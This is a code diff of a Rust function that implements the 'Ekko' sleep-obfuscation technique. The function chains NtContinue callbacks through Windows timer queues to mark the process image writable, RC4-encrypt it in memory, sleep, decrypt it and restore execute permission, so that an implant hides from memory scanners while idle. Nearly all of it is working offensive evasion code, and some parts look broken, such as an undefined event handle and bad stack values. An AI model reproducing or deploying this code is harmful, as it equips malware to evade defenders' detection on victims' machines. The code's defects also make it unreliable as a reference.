1 - use windows_sys::Win32::{System::{Diagnostics::Debug::{CONTEXT, IMAGE_NT_HEADERS64, RtlCaptureContext}, Threading::{CreateEventW, CreateTimerQueue, CreateTimerQueueTimer, WT_EXECUTEINTIMERTHREAD}, LibraryLoader::{GetProcAddress, GetModuleHandleA}, SystemServices::IMAGE_DOS_HEADER}, Foundation::{HANDLE, UNICODE_STRING}}; 2 - use std::{mem::zeroed, ptr::null_mut, ffi::c_void}; 1 + use windows_sys::Win32::{System::{Memory : : { VirtualProtect , PAGE_READWRITE , PAGE_EXECUTE_READ } , Diagnostics::Debug::{CONTEXT, IMAGE_NT_HEADERS64, RtlCaptureContext}, Threading::{WaitForSingleObject , SetEvent , CreateEventW, CreateTimerQueue, CreateTimerQueueTimer, WT_EXECUTEINTIMERTHREAD, DeleteTimerQueue }, LibraryLoader::{LoadLibraryA , GetProcAddress, GetModuleHandleA}, SystemServices::IMAGE_DOS_HEADER}, Foundation::{HANDLE, UNICODE_STRING}}; 2 + use std::{mem::{ zeroed, size_of } , ptr::{ null_mut, copy } , ffi::c_void}; 3 3 4 4 pub fn ekko(sleep_time: u32) { 5 + 5 6 let ctx_thread: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 6 - let rop_prot_rw: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 7 - let rop_mem_enc: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 8 - let rop_delay: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 9 - let rop_mem_dec: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 10 - let rop_prot_rx: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 11 - let rop_set_evt: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 7 + let mut rop_prot_rw: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 8 + let mut rop_mem_enc: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 9 + let mut rop_delay: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 10 + let mut rop_mem_dec: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 11 + let mut rop_prot_rx: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 12 + let mut rop_set_evt: CONTEXT = unsafe { zeroed::<CONTEXT>() }; 12 13 13 14 //let h_timer_queue: HANDLE = 0; 14 15 let mut h_new_timer: HANDLE = 0; 15 16 //let h_event: HANDLE = 0; 16 17 //let image_base: *mut c_void = null_mut(); 17 18 //let image_size: u32 = 0; 18 - let old_protect = 0; 19 + let mut old_protect = 0; 19 20 20 21 // This can be a randomly generated key 21 - let key_buf: [i8; 16] = [0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55]; 22 - let key: UNICODE_STRING = unsafe { zeroed::<UNICODE_STRING>() }; 23 - let img: UNICODE_STRING = unsafe { zeroed::<UNICODE_STRING>() }; 22 + let mut key_buf: [i8; 16] = [0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55]; 23 + let mut key: UNICODE_STRING = unsafe { zeroed::<UNICODE_STRING>() }; 24 + let mut img: UNICODE_STRING = unsafe { zeroed::<UNICODE_STRING>() }; 24 25 25 26 //let nt_continue: *mut c_void = null_mut(); 26 27 //let sys_func032: *mut c_void = null_mut(); skipped 2 lines 29 30 let h_timer_queue = unsafe { CreateTimerQueue() }; 30 31 31 32 let nt_continue = unsafe { GetProcAddress(GetModuleHandleA("ntdll".as_ptr()), "NtContinue".as_ptr()) }; 32 - let sys_func032 = unsafe { GetProcAddress(GetModuleHandleA ("Ntdll ".as_ptr()), "SystemFunction032".as_ptr()) }; 33 + let sys_func032 = unsafe { GetProcAddress(LoadLibraryA ("cryptsp ".as_ptr()), "SystemFunction032".as_ptr()) }; 34 + let rtlcont = unsafe { GetProcAddress(GetModuleHandleA("Ntdll".as_ptr()), "RtlCaptureContext".as_ptr()) }; 33 35 34 36 let image_base = unsafe { GetModuleHandleA(null_mut()) }; 35 37 let dos_header = image_base as *mut IMAGE_DOS_HEADER; 36 - let nt_headesr = unsafe { (*dos_header).e_lfanew as *mut IMAGE_NT_HEADERS64 }; 38 + let nt_headesr = unsafe { (dos_header as u64 + ( *dos_header).e_lfanew as u64 ) as *mut IMAGE_NT_HEADERS64 }; 37 39 let image_size = unsafe { (*nt_headesr).OptionalHeader.SizeOfImage }; 38 40 39 41 key.Buffer = key_buf.as_mut_ptr() as *mut u16; skipped 2 lines 42 44 43 45 img.Buffer = image_base as *mut u16; 44 46 45 - type fnRtlCaptureContext = unsafe extern "system" fn(contextrecord: *mut CONTEXT); 46 47 let sucesss = unsafe { 47 - CreateTimerQueueTimer(&mut h_new_timer, h_timer_queue, Some(fnRtlCaptureContext ), &ctx_thread as *const _ as *const _, 0, 0, WT_EXECUTEINTIMERTHREAD) 48 + CreateTimerQueueTimer(&mut h_new_timer, h_timer_queue, Some(std : : mem : : transmute ( rtlcont ) ), &ctx_thread as *const _ as *const _, 0, 0, WT_EXECUTEINTIMERTHREAD) 48 49 }; 49 50 50 - if ( sucesss != 0) { 51 + if sucesss != 0 { 51 52 53 + unsafe{ 54 + WaitForSingleObject(h_event, 0x32); 55 + 56 + copy(&ctx_thread, &mut rop_prot_rw, size_of::<CONTEXT>()); 57 + copy(&ctx_thread, &mut rop_mem_enc, size_of::<CONTEXT>()); 58 + copy(&ctx_thread, &mut rop_delay, size_of::<CONTEXT>()); 59 + copy(&ctx_thread, &mut rop_mem_dec, size_of::<CONTEXT>()); 60 + copy(&ctx_thread, &mut rop_prot_rx, size_of::<CONTEXT>()); 61 + copy(&ctx_thread, &mut rop_set_evt, size_of::<CONTEXT>()); 62 + } 63 + 64 + rop_prot_rw.Rsp = -8 as isize as u64; 65 + rop_prot_rw.Rip = VirtualProtect as u64; 66 + rop_prot_rw.Rcx = image_base as u64; 67 + rop_prot_rw.Rdx = image_size as u64; 68 + rop_prot_rw.R8 = PAGE_READWRITE as u64; 69 + rop_prot_rw.R9 = *&old_protect as u64; 70 + 71 + rop_mem_enc.Rsp = -8 as isize as u64; 72 + rop_mem_enc.Rip = &sys_func032 as *const _ as u64; 73 + rop_mem_enc.Rcx = &img as *const _ as u64; 74 + rop_mem_enc.Rdx = &key as *const _ as u64; 75 + 76 + rop_delay.Rsp = -8 as isize as u64; 77 + rop_delay.Rip = WaitForSingleObject as u64; 78 + rop_delay.Rcx = -1 as isize as u64; 79 + rop_delay.Rdx = sleep_time as u64; 80 + 81 + rop_mem_dec.Rsp = -8 as isize as u64; 82 + rop_mem_dec.Rip = &sys_func032 as *const _ as u64; 83 + rop_mem_dec.Rcx = &img as *const _ as u64; 84 + rop_mem_dec.Rdx = &key as *const _ as u64; 85 + 86 + rop_prot_rx.Rsp = -8 as isize as u64; 87 + rop_prot_rx.Rip = VirtualProtect as u64; 88 + rop_prot_rx.Rcx = image_base as u64; 89 + rop_prot_rx.Rdx = image_size as u64; 90 + rop_prot_rx.R8 = PAGE_EXECUTE_READ as u64; 91 + rop_prot_rx.R9 = *&old_protect as u64; 92 + 93 + rop_set_evt.Rsp = -8 as isize as u64; 94 + rop_set_evt.Rip = SetEvent as u64; 95 + rop_set_evt.Rcx = h_event as u64; 96 + 97 + unsafe{ 98 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_prot_rw as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 99 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_mem_enc as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 100 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_delay as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 101 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_mem_dec as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 102 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_prot_rx as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 103 + CreateTimerQueueTimer( &mut h_new_timer, h_timer_queue, Some(std::mem::transmute(nt_continue)), &rop_set_evt as *const _ as *const _, 100, 0, WT_EXECUTEINTIMERTHREAD ); 104 + WaitForSingleObject(h_event, 0xFFFFFFFF ); 105 + } 52 106 } 107 + 108 + unsafe{DeleteTimerQueue( h_timer_queue );} 53 109 }